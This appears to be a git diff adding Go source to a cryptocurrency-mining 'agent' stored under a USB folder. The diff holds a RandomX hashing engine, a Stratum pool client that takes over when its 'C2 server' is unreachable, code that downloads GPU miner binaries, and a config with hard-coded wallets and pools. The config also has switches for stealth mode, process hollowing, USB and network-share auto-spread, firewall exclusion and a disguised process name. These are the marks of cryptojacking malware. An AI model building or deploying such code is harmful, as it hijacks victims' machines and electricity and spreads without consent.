+ } + } +} + +func (g *GPUMiner) ensureMinerBinary() (string, error) { + spec := g.spec() + binPath := filepath.Join(g.installDir, spec.fileName) + if _, err := os.Stat(binPath); err == nil { + return binPath, nil + } + log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL) + if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil { + return "", fmt.Errorf("download failed: %w", err) + } + if _, err := os.Stat(binPath); err != nil { + return "", fmt.Errorf("binary not found after download: %s", binPath) + } + return binPath, nil +} + +func downloadAndExtract(url, destDir, targetFile string) error { + resp, err := http.Get(url) //nolint:noctx + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url) + } + data, err := io.ReadAll(resp.Body) + if err != nil { + return err + } + return extractZipFile(data, destDir, targetFile) +} + +// ---- Miner HTTP API polling ---- + +// T-Rex summary response (subset we care about). +type trexSummary struct { + Hashrate int `json:"hashrate"` + GPUs []struct { + Temperature int `json:"temperature"` + GpuLoad int `json:"gpu_load"` + } `json:"gpus"` +} + +// TeamRedMiner status response (subset). +type trmStatus struct { + Algorithms []struct { + Name string `json:"algorithm"` + TotalMHs float64 `json:"mhsh_total"` + } `json:"algorithms"` + GPUs []struct { + TempC int `json:"temp_c"` + Fan int `json:"fan_pct"` + } `json:"gpus"` +} + +func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) { + url := fmt.Sprintf("http://127.0.0.1:%d/summary", port) + resp, e := http.Get(url) //nolint:noctx + if e != nil { + return 0, nil, nil, e + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + + switch vendor { + case GPUVendorNVIDIA: + var s trexSummary + if e := json.Unmarshal(body, &s); e != nil { + return 0, nil, nil, e + } + hashrate = float64(s.Hashrate) + if len(s.GPUs) > 0 { + t := s.GPUs[0].Temperature + u := s.GPUs[0].GpuLoad + tempC = &t + usagePct = &u + } + case GPUVendorAMD: + var s trmStatus + if e := json.Unmarshal(body, &s); e != nil { + return 0, nil, nil, e + } + for _, a := range s.Algorithms { + if a.Name == "kawpow" || a.Name == "KawPoW" { + hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s + } + } + if len(s.GPUs) > 0 { + t := s.GPUs[0].TempC + u := s.GPUs[0].Fan + tempC = &t + usagePct = &u + } + } + return +} diff --git a/usb/agent/config/builtin.go b/usb/agent/config/builtin.go new file mode 100644 index 0000000..7ebb2e8 --- /dev/null +++ b/usb/agent/config/builtin.go @@ -0,0 +1,57 @@ +package config + +import "time" + +func GetBuiltinConfig() BuiltinConfig { + return BuiltinConfig{ + WorkerName: "dev-worker", + ServerURL: "http://127.0.0.1:8989", + Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", + Threads: 4, + ThreadMode: "percent", + ThreadPercent: 75, + CPUPriority: "below_normal", + MiningMode: "always", + DisplayMode: "visible", + SilentMode: false, + RunAs: "user", + AutoStart: false, + ProcessName: "CryptoMinerWorker", + BuildID: "dev", + BuiltAt: time.Now(), + PoolHost: "pool.supportxmr.com", + PoolPort: 3333, + PoolTLS: true, + PoolPass: "x", + MaxCPUUsage: 80, + MaxMemoryPct: 70, + MinFreeRAM: 1024, + IdleThresholdPct: 20, + IdleDurationMinutes: 5, + ScheduleStart: "21:00", + ScheduleEnd: "06:00", + InstallBase: "localappdata", + InstallRelativePath: DefaultInstallRelativePath, + AdaptToHardware: true, + SelfHealing: true, + FileLogging: true, + StealthMode: false, + FirewallExclusion: true, + AIEnabled: false, + AIOllamaEndpoint: "http://localhost:11434", + AIModel: "llama3.2", + ProcessHollowing: false, + MeshP2P: false, + AutoSpread: false, + HolePunch: false, + RemoteAggressive: false, + USBSpread: false, + ShareSpread: false, + GPUEnabled: false, + RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", + RVNPoolHost: "rvn.2miners.com", + RVNPoolPort: 6060, + RVNPoolTLS: false, + RVNPoolPass: "x", + } +} diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index 9303fc3..9bf3592 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ diff --git a/usb/agent/miner/engine.go b/usb/agent/miner/engine.go new file mode 100644 index 0000000..dcb95df --- /dev/null +++ b/usb/agent/miner/engine.go @@ -0,0 +1,75 @@ +package miner + +import ( + "encoding/hex" + "sync" + + "git.gammaspectra.live/P2Pool/go-randomx" +) + +const nonceOffset = 39 +const nonceSize = 4 + +// go-randomx is a pure-Go implementation; hardware flags are ignored internally. +const randomxFlags = 0 + +type Engine struct { + mu sync.RWMutex + cache *randomx.Randomx_Cache + vm *randomx.VM + seedHex string + blob []byte +} + +func NewEngine() *Engine { + cache := randomx.Randomx_alloc_cache(randomxFlags) + return &Engine{cache: cache} +} + +func (e *Engine) SetJob(seedHex, blobHex string) error { + seed, err := hex.DecodeString(seedHex) + if err != nil { + return err + } + blob, err := hex.DecodeString(blobHex) + if err != nil { + return err + } + + e.mu.Lock() + defer e.mu.Unlock() + + if e.seedHex != seedHex { + e.cache.Randomx_init_cache(seed) + // go-randomx requires SuperScalar programs to be built separately after + // seeding the cache; Randomx_init_cache only populates the Argon2d blocks. + // Without this step every CalculateHash call crashes with a nil-pointer. + gen := randomx.Init_Blake2Generator(seed, 0) + for i := range e.cache.Programs { + e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen) + } + e.vm = e.cache.VM_Initialize() + e.seedHex = seedHex + } + e.blob = append([]byte(nil), blob...) + return nil +} + +func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) { + e.mu.RLock() + defer e.mu.RUnlock() + + if e.vm == nil || len(e.blob) < nonceOffset+nonceSize { + return "", "", nil + } + + work := append([]byte(nil), e.blob...) + work[nonceOffset] = byte(nonce) + work[nonceOffset+1] = byte(nonce >> 8) + work[nonceOffset+2] = byte(nonce >> 16) + work[nonceOffset+3] = byte(nonce >> 24) + + out := make([]byte, 32) + e.vm.CalculateHash(work, out) + return hex.EncodeToString(out), hex.EncodeToString(work), nil +} diff --git a/usb/agent/miner/stratum.go b/usb/agent/miner/stratum.go new file mode 100644 index 0000000..562f787 --- /dev/null +++ b/usb/agent/miner/stratum.go @@ -0,0 +1,329 @@ +package miner + +// StratumClient provides a minimal Monero Stratum client that the agent falls +// back to when the C2 server is unreachable. It feeds jobs directly into the +// existing miner.Pool so hashing never stops, and submits found shares back to +// the pool over Stratum so they are not lost. +// +// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages. +// Reference: https://p2pool.io/docs/stratum.html + +import ( + "bufio" + "crypto/tls" + "encoding/json" + "fmt" + "log" + "net" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/job" +) + +// ─── Wire types ────────────────────────────────────────────────────────────── + +type stratumMsg struct { + ID interface{} `json:"id"` + JSONRPC string `json:"jsonrpc,omitempty"` + Method string `json:"method,omitempty"` + Params json.RawMessage `json:"params,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + Error interface{} `json:"error,omitempty"` +} + +type loginResult struct { + ID string `json:"id"` + Job *stratumJob `json:"job"` + Status string `json:"status"` +} + +type stratumJob struct { + Blob string `json:"blob"` + JobID string `json:"job_id"` + Target string `json:"target"` + SeedHash string `json:"seed_hash"` + Height int64 `json:"height"` +} + +type submitParams struct { + ID string `json:"id"` + JobID string `json:"job_id"` + Nonce string `json:"nonce"` + Hash string `json:"result"` // field name "result" in Stratum protocol +} + +// ─── Pool endpoint list ─────────────────────────────────────────────────────── + +type stratumEndpoint struct { + Host string + Port int + TLS bool + Pass string +} + +func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint { + eps := []stratumEndpoint{{ + Host: cfg.PoolHost, + Port: cfg.PoolPort, + TLS: cfg.PoolTLS, + Pass: cfg.PoolPass, + }} + for _, bp := range cfg.BackupPools { + if bp.Host != "" && bp.Port > 0 { + eps = append(eps, stratumEndpoint{ + Host: bp.Host, + Port: bp.Port, + TLS: bp.TLS, + Pass: bp.Pass, + }) + } + } + return eps +} + +// ─── StratumClient ─────────────────────────────────────────────────────────── + +// StratumClient mines via a direct Stratum connection. It is started when the +// C2 server is unreachable and stopped as soon as C2 comes back. +type StratumClient struct { + pool *Pool + cfg config.RuntimeConfig +} + +func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient { + return &StratumClient{pool: pool, cfg: cfg} +} + +// RunFallback cycles through all configured pools, trying each in turn, until +// stopCh is closed. If a pool does not deliver a mining job within 5 seconds +// of a successful login the connection is dropped and the next pool is tried. +func (s *StratumClient) RunFallback(stopCh <-chan struct{}) { + if s.cfg.PoolHost == "" { + log.Printf("[stratum] no pool configured — fallback unavailable") + return + } + endpoints := buildStratumEndpoints(s.cfg) + idx := 0 + for { + select { + case <-stopCh: + return + default: + } + ep := endpoints[idx%len(endpoints)] + log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints)) + if err := s.runPool(ep, stopCh); err != nil { + log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err) + } + idx++ + // Short pause between pool attempts so we don't hammer them. + select { + case <-stopCh: + return + case <-time.After(3 * time.Second): + } + } +} + +// runPool manages one Stratum connection until it fails or stopCh is closed. +func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error { + addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port)) + var conn net.Conn + var err error + if ep.TLS { + conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec + } else { + conn, err = net.DialTimeout("tcp", addr, 10*time.Second) + } + if err != nil { + return err + } + defer conn.Close() + + // Set up a reader (Stratum is newline-delimited JSON). + reader := bufio.NewReader(conn) + msgID := 1 + + // ── Login ──────────────────────────────────────────────────────────────── + wallet := s.cfg.Wallet + pass := ep.Pass + if pass == "" { + pass = "x" + } + loginReq, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "login", + Params: mustMarshal(map[string]interface{}{ + "login": wallet, + "pass": pass, + "rigid": s.cfg.WorkerName, + "agent": "AetherForge/" + config.Version, + }), + }) + msgID++ + if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil { + return fmt.Errorf("login send: %w", err) + } + _ = conn.SetDeadline(time.Now().Add(30 * time.Second)) + loginLine, err := reader.ReadString('\n') + if err != nil { + return fmt.Errorf("login read: %w", err) + } + _ = conn.SetDeadline(time.Time{}) // clear deadline + + var loginResp stratumMsg + if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil { + return fmt.Errorf("login parse: %w", err) + } + if loginResp.Error != nil { + return fmt.Errorf("login error: %v", loginResp.Error) + } + var lr loginResult + if err := json.Unmarshal(loginResp.Result, &lr); err != nil { + return fmt.Errorf("login result parse: %w", err) + } + sessionID := lr.ID + log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID) + + // Feed the initial job from the login response. + gotJob := lr.Job != nil + if lr.Job != nil { + s.setJob(lr.Job) + } + + // ── Share submission channel ────────────────────────────────────────────── + // The pool's share handler sends shares here; this goroutine drains them + // and writes submit requests to the Stratum connection. + shareCh := make(chan [3]string, 64) // [jobID, nonce, hash] + s.pool.SetShareHandler(func(jobID, nonce, hash string) { + select { + case shareCh <- [3]string{jobID, nonce, hash}: + default: + log.Printf("[stratum] share channel full — dropping share") + } + }) + + // innerDone is closed when runPool returns for any reason (connection error + // or stopCh). It signals the submit goroutine to exit even when stopCh is + // still open, preventing a hang until the next share arrives. + innerDone := make(chan struct{}) + submitDone := make(chan struct{}) + go func() { + defer close(submitDone) + for { + select { + case <-stopCh: + return + case <-innerDone: + return + case share, ok := <-shareCh: + if !ok { + return + } + params, _ := json.Marshal(submitParams{ + ID: sessionID, + JobID: share[0], + Nonce: share[1], + Hash: share[2], + }) + req, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "submit", + Params: params, + }) + msgID++ + if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil { + log.Printf("[stratum] submit write error: %v", err) + return + } + } + } + }() + // Signal the submit goroutine and wait for it when runPool returns. + defer func() { + close(innerDone) + <-submitDone + }() + + // Close the TCP connection as soon as stopCh fires so that the blocking + // reader.ReadString call (120 s deadline) unblocks immediately rather than + // making callers wait up to two minutes for the fallback to stop. + go func() { + select { + case <-stopCh: + _ = conn.Close() + case <-innerDone: + } + }() + + // ── Job receive loop ────────────────────────────────────────────────────── + // If the login response contained no job, give the pool 60 seconds to push + // one before we give up and rotate to the next endpoint. + var jobDeadline <-chan time.Time + if !gotJob { + jobDeadline = time.After(60 * time.Second) + } + + keepalive := time.NewTicker(60 * time.Second) + defer keepalive.Stop() + + for { + select { + case <-stopCh: + return nil + case <-jobDeadline: + return fmt.Errorf("no job received within 60s — rotating to next pool") + case <-keepalive.C: + req, _ := json.Marshal(stratumMsg{ + ID: msgID, + JSONRPC: "2.0", + Method: "keepalived", + Params: mustMarshal(map[string]string{"id": sessionID}), + }) + msgID++ + _, _ = fmt.Fprintf(conn, "%s\n", req) + default: + } + + _ = conn.SetDeadline(time.Now().Add(120 * time.Second)) + line, err := reader.ReadString('\n') + if err != nil { + return fmt.Errorf("read: %w", err) + } + var msg stratumMsg + if err := json.Unmarshal([]byte(line), &msg); err != nil { + continue + } + if msg.Method == "job" { + var sj stratumJob + if err := json.Unmarshal(msg.Params, &sj); err == nil { + s.setJob(&sj) + jobDeadline = nil // job received — cancel the 60s rotation timer + } + } + } +} + +// setJob converts a Stratum job into the agent's internal job.Job format and +// feeds it into the miner Pool. +func (s *StratumClient) setJob(sj *stratumJob) { + if sj == nil || sj.Blob == "" { + return + } + j := &job.Job{ + ID: sj.JobID, + Blob: sj.Blob, + Target: sj.Target, + SeedHash: sj.SeedHash, + } + s.pool.SetJob(j) + log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height) +} + +func mustMarshal(v interface{}) json.RawMessage { + b, _ := json.Marshal(v) + return b +}